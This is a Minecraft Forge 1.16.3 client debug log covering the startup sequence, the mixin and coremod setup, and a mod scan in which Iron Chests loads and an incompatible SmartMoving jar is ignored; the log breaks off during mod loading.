Injecting tracing printstreams for STDOUT/STDERR. [21Sep2020 05:55:44.610] [main/DEBUG] [net.minecraftforge.fml.loading.LauncherVersion/CORE]: Found FMLLauncher version 34.0 [21Sep2020 05:55:44.610] [main/DEBUG] [net.minecraftforge.fml.loading.FMLLoader/CORE]: FML 34.0 loading [21Sep2020 05:55:44.610] [main/DEBUG] [net.minecraftforge.fml.loading.FMLLoader/CORE]: FML found ModLauncher version : 7.0.1+78+master.e9771d8 [21Sep2020 05:55:44.611] [main/DEBUG] [net.minecraftforge.fml.loading.FMLLoader/CORE]: Initializing modjar URL handler [21Sep2020 05:55:44.611] [main/DEBUG] [net.minecraftforge.fml.loading.FMLLoader/CORE]: FML found AccessTransformer version : 2.2.0+57+master.16c1bdb [21Sep2020 05:55:44.612] [main/DEBUG] [net.minecraftforge.fml.loading.FMLLoader/CORE]: FML found EventBus version : 3.0.3+63+master.b6b4769 [21Sep2020 05:55:44.612] [main/DEBUG] [net.minecraftforge.fml.loading.FMLLoader/CORE]: Found Runtime Dist Cleaner [21Sep2020 05:55:44.617] [main/DEBUG] [net.minecraftforge.fml.loading.FMLLoader/CORE]: FML found CoreMod version : 3.0.0+9+master.3817658 [21Sep2020 05:55:44.618] [main/DEBUG] [net.minecraftforge.fml.loading.FMLLoader/CORE]: Found ForgeSPI package implementation version 3.1.1+12+master.3ce14ad [21Sep2020 05:55:44.618] [main/DEBUG] [net.minecraftforge.fml.loading.FMLLoader/CORE]: Found ForgeSPI package specification 3 [21Sep2020 05:55:45.372] [main/INFO] [net.minecraftforge.fml.loading.FixSSL/CORE]: Added Lets Encrypt root certificates as additional trust [21Sep2020 05:55:45.372] [main/DEBUG] [cpw.mods.modlauncher.TransformationServiceDecorator/MODLAUNCHER]: Loaded service fml [21Sep2020 05:55:45.375] [main/DEBUG] [cpw.mods.modlauncher.TransformationServicesHandler/MODLAUNCHER]: Configuring option handling for services [21Sep2020 05:55:45.386] [main/DEBUG] [cpw.mods.modlauncher.TransformationServicesHandler/MODLAUNCHER]: Transformation services initializing [21Sep2020 05:55:45.386] [main/DEBUG] [cpw.mods.modlauncher.TransformationServiceDecorator/MODLAUNCHER]: Initializing transformation service mixin [21Sep2020 05:55:45.389] [main/DEBUG] [mixin/]: Mixin bootstrap service org.spongepowered.asm.service.mojang.MixinServiceLaunchWrapperBootstrap is not available: LaunchWrapper is not available [21Sep2020 05:55:45.396] [main/DEBUG] [mixin/]: MixinService [ModLauncher] was successfully booted in sun.misc.Launcher$AppClassLoader@4554617c [21Sep2020 05:55:45.429] [main/INFO] [mixin/]: SpongePowered MIXIN Subsystem Version=0.8.1 Source=file:/C:/Users/Lenovo/AppData/Roaming/.minecraft/libraries/org/spongepowered/mixin/0.8.1/mixin-0.8.1.jar Service=ModLauncher Env=CLIENT [21Sep2020 05:55:45.431] [main/DEBUG] [mixin/]: Initialising Mixin Platform Manager [21Sep2020 05:55:45.432] [main/DEBUG] [mixin/]: Adding mixin platform agents for container ModLauncher Root Container(4f56a0a2) [21Sep2020 05:55:45.433] [main/DEBUG] [mixin/]: Instancing new MixinPlatformAgentMinecraftForge for ModLauncher Root Container(4f56a0a2) [21Sep2020 05:55:45.433] [main/DEBUG] [mixin/]: MixinPlatformAgentMinecraftForge rejected container ModLauncher Root Container(4f56a0a2) [21Sep2020 05:55:45.434] [main/DEBUG] [mixin/]: Instancing new MixinPlatformAgentDefault for ModLauncher Root Container(4f56a0a2) [21Sep2020 05:55:45.434] [main/DEBUG] [mixin/]: MixinPlatformAgentDefault accepted container ModLauncher Root Container(4f56a0a2) [21Sep2020 05:55:45.437] [main/DEBUG] [cpw.mods.modlauncher.TransformationServiceDecorator/MODLAUNCHER]: Initialized transformation service mixin [21Sep2020 05:55:45.437] [main/DEBUG] [cpw.mods.modlauncher.TransformationServiceDecorator/MODLAUNCHER]: Initializing transformation service fml [21Sep2020 05:55:45.437] [main/DEBUG] [net.minecraftforge.fml.loading.FMLServiceProvider/CORE]: Setting up basic FML game directories [21Sep2020 05:55:45.439] [main/DEBUG] [net.minecraftforge.fml.loading.FileUtils/CORE]: Found existing GAMEDIR directory : C:\Users\Lenovo\AppData\Roaming\.minecraft [21Sep2020 05:55:45.439] [main/DEBUG] [net.minecraftforge.fml.loading.FMLPaths/CORE]: Path GAMEDIR is C:\Users\Lenovo\AppData\Roaming\.minecraft [21Sep2020 05:55:45.440] [main/DEBUG] [net.minecraftforge.fml.loading.FileUtils/CORE]: Found existing MODSDIR directory : C:\Users\Lenovo\AppData\Roaming\.minecraft\mods [21Sep2020 05:55:45.440] [main/DEBUG] [net.minecraftforge.fml.loading.FMLPaths/CORE]: Path MODSDIR is C:\Users\Lenovo\AppData\Roaming\.minecraft\mods [21Sep2020 05:55:45.441] [main/DEBUG] [net.minecraftforge.fml.loading.FileUtils/CORE]: Found existing CONFIGDIR directory : C:\Users\Lenovo\AppData\Roaming\.minecraft\config [21Sep2020 05:55:45.441] [main/DEBUG] [net.minecraftforge.fml.loading.FMLPaths/CORE]: Path CONFIGDIR is C:\Users\Lenovo\AppData\Roaming\.minecraft\config [21Sep2020 05:55:45.441] [main/DEBUG] [net.minecraftforge.fml.loading.FMLPaths/CORE]: Path FMLCONFIG is C:\Users\Lenovo\AppData\Roaming\.minecraft\config\fml.toml [21Sep2020 05:55:45.441] [main/DEBUG] [net.minecraftforge.fml.loading.FMLServiceProvider/CORE]: Loading configuration [21Sep2020 05:55:45.491] [main/DEBUG] [net.minecraftforge.fml.loading.FileUtils/CORE]: Found existing default config directory directory : C:\Users\Lenovo\AppData\Roaming\.minecraft\defaultconfigs [21Sep2020 05:55:45.491] [main/DEBUG] [net.minecraftforge.fml.loading.FMLServiceProvider/CORE]: Preparing ModFile [21Sep2020 05:55:45.495] [main/DEBUG] [net.minecraftforge.fml.loading.FMLServiceProvider/CORE]: Preparing launch handler [21Sep2020 05:55:45.495] [main/DEBUG] [net.minecraftforge.fml.loading.FMLLoader/CORE]: Using fmlclient as launch service [21Sep2020 05:55:46.483] [main/DEBUG] [net.minecraftforge.fml.loading.FMLLoader/CORE]: Received command line version data : MC Version: '1.16.3' MCP Version: '20200911.084530' Forge Version: '34.0.9' Forge group: 'net.minecraftforge' [21Sep2020 05:55:46.485] [main/DEBUG] [net.minecraftforge.fml.loading.LibraryFinder/CORE]: Found JAR asm at path C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm\7.2\asm-7.2.jar [21Sep2020 05:55:46.485] [main/DEBUG] [net.minecraftforge.fml.loading.LibraryFinder/CORE]: Found probable library path C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries [21Sep2020 05:55:46.486] [main/DEBUG] [net.minecraftforge.fml.loading.LibraryFinder/CORE]: Found forge path C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-universal.jar is present [21Sep2020 05:55:46.487] [main/DEBUG] [net.minecraftforge.fml.loading.LibraryFinder/CORE]: SRG MC at C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraft\client\1.16.3-20200911.084530\client-1.16.3-20200911.084530-srg.jar is present [21Sep2020 05:55:46.487] [main/DEBUG] [net.minecraftforge.fml.loading.LibraryFinder/CORE]: MC Extras at C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraft\client\1.16.3-20200911.084530\client-1.16.3-20200911.084530-extra.jar is present [21Sep2020 05:55:46.488] [main/DEBUG] [net.minecraftforge.fml.loading.LibraryFinder/CORE]: Forge patches at C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-client.jar is present [21Sep2020 05:55:46.494] [main/DEBUG] [net.minecraftforge.fml.loading.LanguageLoadingProvider/CORE]: Found 0 language providers [21Sep2020 05:55:46.495] [main/DEBUG] [net.minecraftforge.fml.loading.LanguageLoadingProvider/CORE]: Adding forge as a language from C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-universal.jar [21Sep2020 05:55:46.498] [main/DEBUG] [net.minecraftforge.fml.loading.LanguageLoadingProvider/CORE]: Adding file:/C:/Users/Lenovo/AppData/Roaming/.minecraft/libraries/net/minecraftforge/forge/1.16.3-34.0.9/forge-1.16.3-34.0.9-universal.jar to languageloader classloader [21Sep2020 05:55:46.541] [main/DEBUG] [net.minecraftforge.fml.loading.LanguageLoadingProvider/CORE]: Found 2 language providers [21Sep2020 05:55:46.542] [main/DEBUG] [net.minecraftforge.fml.loading.LanguageLoadingProvider/CORE]: Found language provider javafml, version 34.0 [21Sep2020 05:55:46.549] [main/DEBUG] [net.minecraftforge.fml.loading.LanguageLoadingProvider/CORE]: Found language provider minecraft, version 1 [21Sep2020 05:55:46.554] [main/DEBUG] [cpw.mods.modlauncher.TransformationServiceDecorator/MODLAUNCHER]: Initialized transformation service fml [21Sep2020 05:55:46.554] [main/DEBUG] [cpw.mods.modlauncher.NameMappingServiceHandler/MODLAUNCHER]: Current naming domain is 'srg' [21Sep2020 05:55:46.555] [main/DEBUG] [cpw.mods.modlauncher.NameMappingServiceHandler/MODLAUNCHER]: Identified name mapping providers {} [21Sep2020 05:55:46.555] [main/DEBUG] [cpw.mods.modlauncher.TransformationServicesHandler/MODLAUNCHER]: Transformation services begin scanning [21Sep2020 05:55:46.556] [main/DEBUG] [cpw.mods.modlauncher.TransformationServiceDecorator/MODLAUNCHER]: Beginning scan trigger - transformation service mixin [21Sep2020 05:55:46.556] [main/DEBUG] [cpw.mods.modlauncher.TransformationServiceDecorator/MODLAUNCHER]: End scan trigger - transformation service mixin [21Sep2020 05:55:46.557] [main/DEBUG] [cpw.mods.modlauncher.TransformationServiceDecorator/MODLAUNCHER]: Beginning scan trigger - transformation service fml [21Sep2020 05:55:46.557] [main/DEBUG] [net.minecraftforge.fml.loading.FMLServiceProvider/CORE]: Initiating mod scan [21Sep2020 05:55:46.632] [main/DEBUG] [net.minecraftforge.fml.loading.moddiscovery.ModListHandler/CORE]: Found mod coordinates from lists: [] [21Sep2020 05:55:46.686] [main/DEBUG] [net.minecraftforge.fml.loading.moddiscovery.ModDiscoverer/CORE]: Found Mod Locators : (mods folder:null),(maven libs:null),(exploded directory:null),(minecraft:null) [21Sep2020 05:55:46.747] [main/DEBUG] [net.minecraftforge.fml.loading.moddiscovery.ModFileParser/LOADING]: Considering mod file candidate C:\Users\Lenovo\AppData\Roaming\.minecraft\mods\ironchest-1.16.2-11.1.5.jar [21Sep2020 05:55:46.805] [main/DEBUG] [net.minecraftforge.fml.loading.moddiscovery.ModFileInfo/LOADING]: Found valid mod file ironchest-1.16.2-11.1.5.jar with {ironchest} mods - versions {1.16.2-11.1.5} [21Sep2020 05:55:46.806] [main/DEBUG] [net.minecraftforge.fml.loading.moddiscovery.ModFile/LOADING]: Loading mod file C:\Users\Lenovo\AppData\Roaming\.minecraft\mods\ironchest-1.16.2-11.1.5.jar with language javafml [21Sep2020 05:55:46.808] [main/DEBUG] [net.minecraftforge.fml.loading.moddiscovery.ModFileParser/LOADING]: Considering mod file candidate C:\Users\Lenovo\AppData\Roaming\.minecraft\mods\SmartMoving-1.8.9-16.3.jar [21Sep2020 05:55:46.808] [main/WARN] [net.minecraftforge.fml.loading.moddiscovery.ModFileParser/LOADING]: Mod file Mod File: C:\Users\Lenovo\AppData\Roaming\.minecraft\mods\SmartMoving-1.8.9-16.3.jar is missing mods.toml file [21Sep2020 05:55:46.808] [main/WARN] [net.minecraftforge.fml.loading.moddiscovery.ModDiscoverer/SCAN]: File C:\Users\Lenovo\AppData\Roaming\.minecraft\mods\SmartMoving-1.8.9-16.3.jar has been ignored - it is invalid [21Sep2020 05:55:46.810] [main/DEBUG] [net.minecraftforge.fml.loading.moddiscovery.ModFileParser/LOADING]: Considering mod file candidate C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-universal.jar [21Sep2020 05:55:46.811] [main/DEBUG] [net.minecraftforge.fml.loading.moddiscovery.ModFileInfo/LOADING]: Found valid mod file forge-1.16.3-34.0.9-universal.jar with {forge} mods - versions {34.0.9} [21Sep2020 05:55:46.816] [main/DEBUG] [net.minecraftforge.fml.loading.moddiscovery.ModFile/LOADING]: Loading mod file C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-universal.jar with language javafml [21Sep2020 05:55:46.878] [main/DEBUG] [net.minecraftforge.fml.loading.moddiscovery.ModFileParser/LOADING]: Found coremod fieldtomethodtransformers with Javascript path META-INF/fieldtomethodtransformers.js [21Sep2020 05:55:46.879] [main/DEBUG] [net.minecraftforge.fml.loading.moddiscovery.ModFile/LOADING]: Found coremod META-INF/fieldtomethodtransformers.js [21Sep2020 05:55:46.879] [main/DEBUG] [net.minecraftforge.fml.loading.moddiscovery.ModFileParser/LOADING]: Considering mod file candidate C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-client.jar [21Sep2020 05:55:46.901] [main/DEBUG] [net.minecraftforge.fml.loading.moddiscovery.ModFileInfo/LOADING]: Found valid mod file forge-1.16.3-34.0.9-client.jar with {minecraft} mods - versions {1.16.3} [21Sep2020 05:55:46.901] [main/DEBUG] [net.minecraftforge.fml.loading.moddiscovery.ModFile/LOADING]: Loading mod file C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-client.jar with language minecraft [21Sep2020 05:55:46.923] [main/DEBUG] [net.minecraftforge.fml.loading.ModSorter/LOADING]: Found 1 mandatory requirements [21Sep2020 05:55:46.924] [main/DEBUG] [net.minecraftforge.fml.loading.ModSorter/LOADING]: Found 0 mandatory mod requirements missing [21Sep2020 05:55:47.558] [main/DEBUG] [cpw.mods.modlauncher.TransformationServiceDecorator/MODLAUNCHER]: End scan trigger - transformation service fml [21Sep2020 05:55:47.558] [main/DEBUG] [cpw.mods.modlauncher.TransformationServicesHandler/MODLAUNCHER]: Transformation services loading transformers [21Sep2020 05:55:47.559] [main/DEBUG] [cpw.mods.modlauncher.TransformationServiceDecorator/MODLAUNCHER]: Initializing transformers for transformation service mixin [21Sep2020 05:55:47.560] [main/DEBUG] [cpw.mods.modlauncher.TransformationServiceDecorator/MODLAUNCHER]: Initialized transformers for transformation service mixin [21Sep2020 05:55:47.560] [main/DEBUG] [cpw.mods.modlauncher.TransformationServiceDecorator/MODLAUNCHER]: Initializing transformers for transformation service fml [21Sep2020 05:55:47.560] [main/DEBUG] [net.minecraftforge.fml.loading.FMLServiceProvider/CORE]: Loading coremod transformers [21Sep2020 05:55:47.561] [main/DEBUG] [net.minecraftforge.coremod.CoreModEngine/COREMOD]: Loading CoreMod from META-INF/fieldtomethodtransformers.js [21Sep2020 05:55:47.779] [main/DEBUG] [net.minecraftforge.coremod.CoreModEngine/COREMOD]: CoreMod loaded successfully [21Sep2020 05:55:47.787] [main/DEBUG] [cpw.mods.modlauncher.TransformStore/MODLAUNCHER]: Adding transformer net.minecraftforge.coremod.transformer.CoreModClassTransformer@7bd69e82 to Target : CLASS {Lnet/minecraft/potion/EffectInstance;} {} {V} [21Sep2020 05:55:47.788] [main/DEBUG] [cpw.mods.modlauncher.TransformStore/MODLAUNCHER]: Adding transformer net.minecraftforge.coremod.transformer.CoreModClassTransformer@3aaf4f07 to Target : CLASS {Lnet/minecraft/block/FlowingFluidBlock;} {} {V} [21Sep2020 05:55:47.788] [main/DEBUG] [cpw.mods.modlauncher.TransformStore/MODLAUNCHER]: Adding transformer net.minecraftforge.coremod.transformer.CoreModClassTransformer@5cbf9e9f to Target : CLASS {Lnet/minecraft/item/BucketItem;} {} {V} [21Sep2020 05:55:47.788] [main/DEBUG] [cpw.mods.modlauncher.TransformStore/MODLAUNCHER]: Adding transformer net.minecraftforge.coremod.transformer.CoreModClassTransformer@18e8473e to Target : CLASS {Lnet/minecraft/block/StairsBlock;} {} {V} [21Sep2020 05:55:47.789] [main/DEBUG] [cpw.mods.modlauncher.TransformStore/MODLAUNCHER]: Adding transformer net.minecraftforge.coremod.transformer.CoreModClassTransformer@5a2f016d to Target : CLASS {Lnet/minecraft/block/FlowerPotBlock;} {} {V} [21Sep2020 05:55:47.789] [main/DEBUG] [cpw.mods.modlauncher.TransformStore/MODLAUNCHER]: Adding transformer net.minecraftforge.coremod.transformer.CoreModClassTransformer@1a38ba58 to Target : CLASS {Lnet/minecraft/item/FishBucketItem;} {} {V} [21Sep2020 05:55:47.789] [main/DEBUG] [cpw.mods.modlauncher.TransformationServiceDecorator/MODLAUNCHER]: Initialized transformers for transformation service fml [21Sep2020 05:55:47.825] [main/DEBUG] [mixin/]: Processing prepare() for PlatformAgent[MixinPlatformAgentDefault:ModLauncher Root Container(4f56a0a2)] [21Sep2020 05:55:47.825] [main/DEBUG] [mixin/]: Processing launch tasks for PlatformAgent[MixinPlatformAgentDefault:ModLauncher Root Container(4f56a0a2)] [21Sep2020 05:55:47.825] [main/DEBUG] [mixin/]: Adding mixin platform agents for container ContainerHandleModLauncher.Resource(ironchest-1.16.2-11.1.5.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\mods\ironchest-1.16.2-11.1.5.jar) [21Sep2020 05:55:47.825] [main/DEBUG] [mixin/]: Instancing new MixinPlatformAgentMinecraftForge for ContainerHandleModLauncher.Resource(ironchest-1.16.2-11.1.5.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\mods\ironchest-1.16.2-11.1.5.jar) [21Sep2020 05:55:47.825] [main/DEBUG] [mixin/]: MixinPlatformAgentMinecraftForge rejected container ContainerHandleModLauncher.Resource(ironchest-1.16.2-11.1.5.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\mods\ironchest-1.16.2-11.1.5.jar) [21Sep2020 05:55:47.826] [main/DEBUG] [mixin/]: Instancing new MixinPlatformAgentDefault for ContainerHandleModLauncher.Resource(ironchest-1.16.2-11.1.5.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\mods\ironchest-1.16.2-11.1.5.jar) [21Sep2020 05:55:47.826] [main/DEBUG] [mixin/]: MixinPlatformAgentDefault accepted container ContainerHandleModLauncher.Resource(ironchest-1.16.2-11.1.5.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\mods\ironchest-1.16.2-11.1.5.jar) [21Sep2020 05:55:47.826] [main/DEBUG] [mixin/]: Processing prepare() for PlatformAgent[MixinPlatformAgentDefault:ContainerHandleModLauncher.Resource(ironchest-1.16.2-11.1.5.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\mods\ironchest-1.16.2-11.1.5.jar)] [21Sep2020 05:55:47.826] [main/DEBUG] [mixin/]: Adding mixin platform agents for container ContainerHandleModLauncher.Resource(forge-1.16.3-34.0.9-universal.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-universal.jar) [21Sep2020 05:55:47.826] [main/DEBUG] [mixin/]: Instancing new MixinPlatformAgentMinecraftForge for ContainerHandleModLauncher.Resource(forge-1.16.3-34.0.9-universal.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-universal.jar) [21Sep2020 05:55:47.826] [main/DEBUG] [mixin/]: MixinPlatformAgentMinecraftForge rejected container ContainerHandleModLauncher.Resource(forge-1.16.3-34.0.9-universal.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-universal.jar) [21Sep2020 05:55:47.826] [main/DEBUG] [mixin/]: Instancing new MixinPlatformAgentDefault for ContainerHandleModLauncher.Resource(forge-1.16.3-34.0.9-universal.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-universal.jar) [21Sep2020 05:55:47.826] [main/DEBUG] [mixin/]: MixinPlatformAgentDefault accepted container ContainerHandleModLauncher.Resource(forge-1.16.3-34.0.9-universal.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-universal.jar) [21Sep2020 05:55:47.826] [main/DEBUG] [mixin/]: Processing prepare() for PlatformAgent[MixinPlatformAgentDefault:ContainerHandleModLauncher.Resource(forge-1.16.3-34.0.9-universal.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-universal.jar)] [21Sep2020 05:55:47.827] [main/DEBUG] [mixin/]: Adding mixin platform agents for container ContainerHandleModLauncher.Resource(forge-1.16.3-34.0.9-client.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-client.jar) [21Sep2020 05:55:47.827] [main/DEBUG] [mixin/]: Instancing new MixinPlatformAgentMinecraftForge for ContainerHandleModLauncher.Resource(forge-1.16.3-34.0.9-client.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-client.jar) [21Sep2020 05:55:47.827] [main/DEBUG] [mixin/]: MixinPlatformAgentMinecraftForge rejected container ContainerHandleModLauncher.Resource(forge-1.16.3-34.0.9-client.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-client.jar) [21Sep2020 05:55:47.827] [main/DEBUG] [mixin/]: Instancing new MixinPlatformAgentDefault for ContainerHandleModLauncher.Resource(forge-1.16.3-34.0.9-client.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-client.jar) [21Sep2020 05:55:47.827] [main/DEBUG] [mixin/]: MixinPlatformAgentDefault accepted container ContainerHandleModLauncher.Resource(forge-1.16.3-34.0.9-client.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-client.jar) [21Sep2020 05:55:47.827] [main/DEBUG] [mixin/]: Processing prepare() for PlatformAgent[MixinPlatformAgentDefault:ContainerHandleModLauncher.Resource(forge-1.16.3-34.0.9-client.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-client.jar)] [21Sep2020 05:55:47.827] [main/DEBUG] [mixin/]: inject() running with 4 agents [21Sep2020 05:55:47.828] [main/DEBUG] [mixin/]: Processing inject() for PlatformAgent[MixinPlatformAgentDefault:ModLauncher Root Container(4f56a0a2)] [21Sep2020 05:55:47.828] [main/DEBUG] [mixin/]: Processing inject() for PlatformAgent[MixinPlatformAgentDefault:ContainerHandleModLauncher.Resource(ironchest-1.16.2-11.1.5.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\mods\ironchest-1.16.2-11.1.5.jar)] [21Sep2020 05:55:47.828] [main/DEBUG] [mixin/]: Processing inject() for PlatformAgent[MixinPlatformAgentDefault:ContainerHandleModLauncher.Resource(forge-1.16.3-34.0.9-universal.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-universal.jar)] [21Sep2020 05:55:47.828] [main/DEBUG] [mixin/]: Processing inject() for PlatformAgent[MixinPlatformAgentDefault:ContainerHandleModLauncher.Resource(forge-1.16.3-34.0.9-client.jar:C:\Users\Lenovo\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.16.3-34.0.9\forge-1.16.3-34.0.9-client.jar)] [21Sep2020 05:55:47.828] [main/INFO] [cpw.mods.modlauncher.LaunchServiceHandler/MODLAUNCHER]: Launching target 'fmlclient' with arguments [--version, 1.16.3-forge-34.0.9, --gameDir, C:\Users\Lenovo\AppData\Roaming\.minecraft, --assetsDir, C:\Users\Lenovo\AppData\Roaming\.minecraft\assets, --uuid, 1165d438a45a4585ac728e78d6848fbb, --username, V9l9, --assetIndex, 1.16, --accessToken, ????????, --userType, mojang, --versionType, release] [21Sep2020 05:55:47.936] [main/DEBUG] [mixin/]: Error cleaning class output directory: .mixin.out\class: failed to delete one or more files; see suppressed exceptions for details [21Sep2020 05:55:47.953] [main/DEBUG] [mixin/]: Preparing mixins for MixinEnvironment[DEFAULT] [21Sep2020 05:55:48.965] [pool-3-thread-1/DEBUG] [net.minecraftforge.coremod.transformer.CoreModBaseTransformer/COREMOD]: Transforming net/minecraft/block/FlowingFluidBlock [21Sep2020 05:55:49.119] [pool-3-thread-1/DEBUG] [net.minecraftforge.coremod.transformer.CoreModBaseTransformer/COREMOD]: Transforming net/minecraft/block/StairsBlock [21Sep2020 05:55:49.283] [pool-3-thread-1/DEBUG] [net.minecraftforge.coremod.transformer.CoreModBaseTransformer/COREMOD]: Transforming net/minecraft/block/FlowerPotBlock [21Sep2020 05:55:55.454] [pool-3-thread-1/DEBUG] [net.minecraftforge.coremod.transformer.CoreModBaseTransformer/COREMOD]: Transforming net/minecraft/item/BucketItem [21Sep2020 05:55:55.465] [pool-3-thread-1/DEBUG] [net.minecraftforge.coremod.transformer.CoreModBaseTransformer/COREMOD]: Transforming net/minecraft/item/FishBucketItem [21Sep2020 05:55:55.730] [pool-3-thread-1/DEBUG] [net.minecraftforge.coremod.transformer.CoreModBaseTransformer/COREMOD]: Transforming net/minecraft/potion/EffectInstance [21Sep2020 05:55:57.884] [Render thread/INFO] [com.mojang.authlib.yggdrasil.YggdrasilAuthenticationService/]: Environment: authHost='https://authserver.mojang.com', accountsHost='https://api.mojang.com', sessionHost='https://sessionserver.mojang.com', name='PROD' [21Sep2020 05:55:57.892] [Render thread/INFO] [net.minecraft.client.Minecraft/]: Setting user: V9l9 [21Sep2020 05:55:58.128] [Render thread/INFO] [net.minecraft.client.Minecraft/]: Backend library: LWJGL version 3.2.2 build 10 [21Sep2020 05:55:59.294] [Render thread/DEBUG] [net.minecraftforge.fml.ForgeI18n/CORE]: Loading I18N data entries: 4931 [21Sep2020 05:55:59.518] [Render thread/DEBUG] [net.minecraftforge.fml.ModLoader/CORE]: Loading Network data for FML net version: FML2 [21Sep2020 05:55:59.524] [Render thread/DEBUG] [net.minecraftforge.fml.ModWorkManager/LOADING]: Using 4 threads for parallel mod-loading [21Sep2020 05:55:59.603] [Render thread/DEBUG] [net.minecraftforge.fml.ModLoader/LOADING]: ModContainer is cpw.mods.modlauncher.TransformingClassLoader@7e8e8651 [21Sep2020 05:55:59.608] [Render thread/DEBUG] [net.minecraftforge.fml.ModLoader/LOADING]: ModContainer is cpw.mods.modlauncher.TransformingClassLoader@7e8e8651 [21Sep2020 05:55:59.609] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLJavaModLanguageProvider/LOADING]: Loading FMLModContainer from classloader cpw.mods.modlauncher.TransformingClassLoader@7e8e8651 - got cpw.mods.modlauncher.TransformingClassLoader@7e8e8651 [21Sep2020 05:55:59.610] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Creating FMLModContainer instance for net.minecraftforge.common.ForgeMod with classLoader cpw.mods.modlauncher.TransformingClassLoader@7e8e8651 & cpw.mods.modlauncher.TransformingClassLoader@7e8e8651 [21Sep2020 05:55:59.643] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Loaded modclass net.minecraftforge.common.ForgeMod with cpw.mods.modlauncher.TransformingClassLoader@7e8e8651 [21Sep2020 05:55:59.643] [Render thread/DEBUG] [net.minecraftforge.fml.ModLoader/LOADING]: ModContainer is cpw.mods.modlauncher.TransformingClassLoader@7e8e8651 [21Sep2020 05:55:59.643] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLJavaModLanguageProvider/LOADING]: Loading FMLModContainer from classloader cpw.mods.modlauncher.TransformingClassLoader@7e8e8651 - got cpw.mods.modlauncher.TransformingClassLoader@7e8e8651 [21Sep2020 05:55:59.643] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Creating FMLModContainer instance for com.progwml6.ironchest.IronChests with classLoader cpw.mods.modlauncher.TransformingClassLoader@7e8e8651 & cpw.mods.modlauncher.TransformingClassLoader@7e8e8651 [21Sep2020 05:55:59.646] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Loaded modclass com.progwml6.ironchest.IronChests with cpw.mods.modlauncher.TransformingClassLoader@7e8e8651 [21Sep2020 05:55:59.783] [modloading-worker-2/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Loading mod instance forge of type net.minecraftforge.common.ForgeMod [21Sep2020 05:55:59.783] [modloading-worker-2/DEBUG] [net.minecraftforge.versions.forge.ForgeVersion/CORE]: Forge Version package package net.minecraftforge.versions.forge, Forge, version 34.0 from cpw.mods.modlauncher.TransformingClassLoader@7e8e8651 [21Sep2020 05:55:59.783] [modloading-worker-2/DEBUG] [net.minecraftforge.versions.forge.ForgeVersion/CORE]: Found Forge version 34.0.9 [21Sep2020 05:55:59.783] [modloading-worker-2/DEBUG] [net.minecraftforge.versions.forge.ForgeVersion/CORE]: Found Forge spec 34.0 [21Sep2020 05:55:59.783] [modloading-worker-2/DEBUG] [net.minecraftforge.versions.forge.ForgeVersion/CORE]: 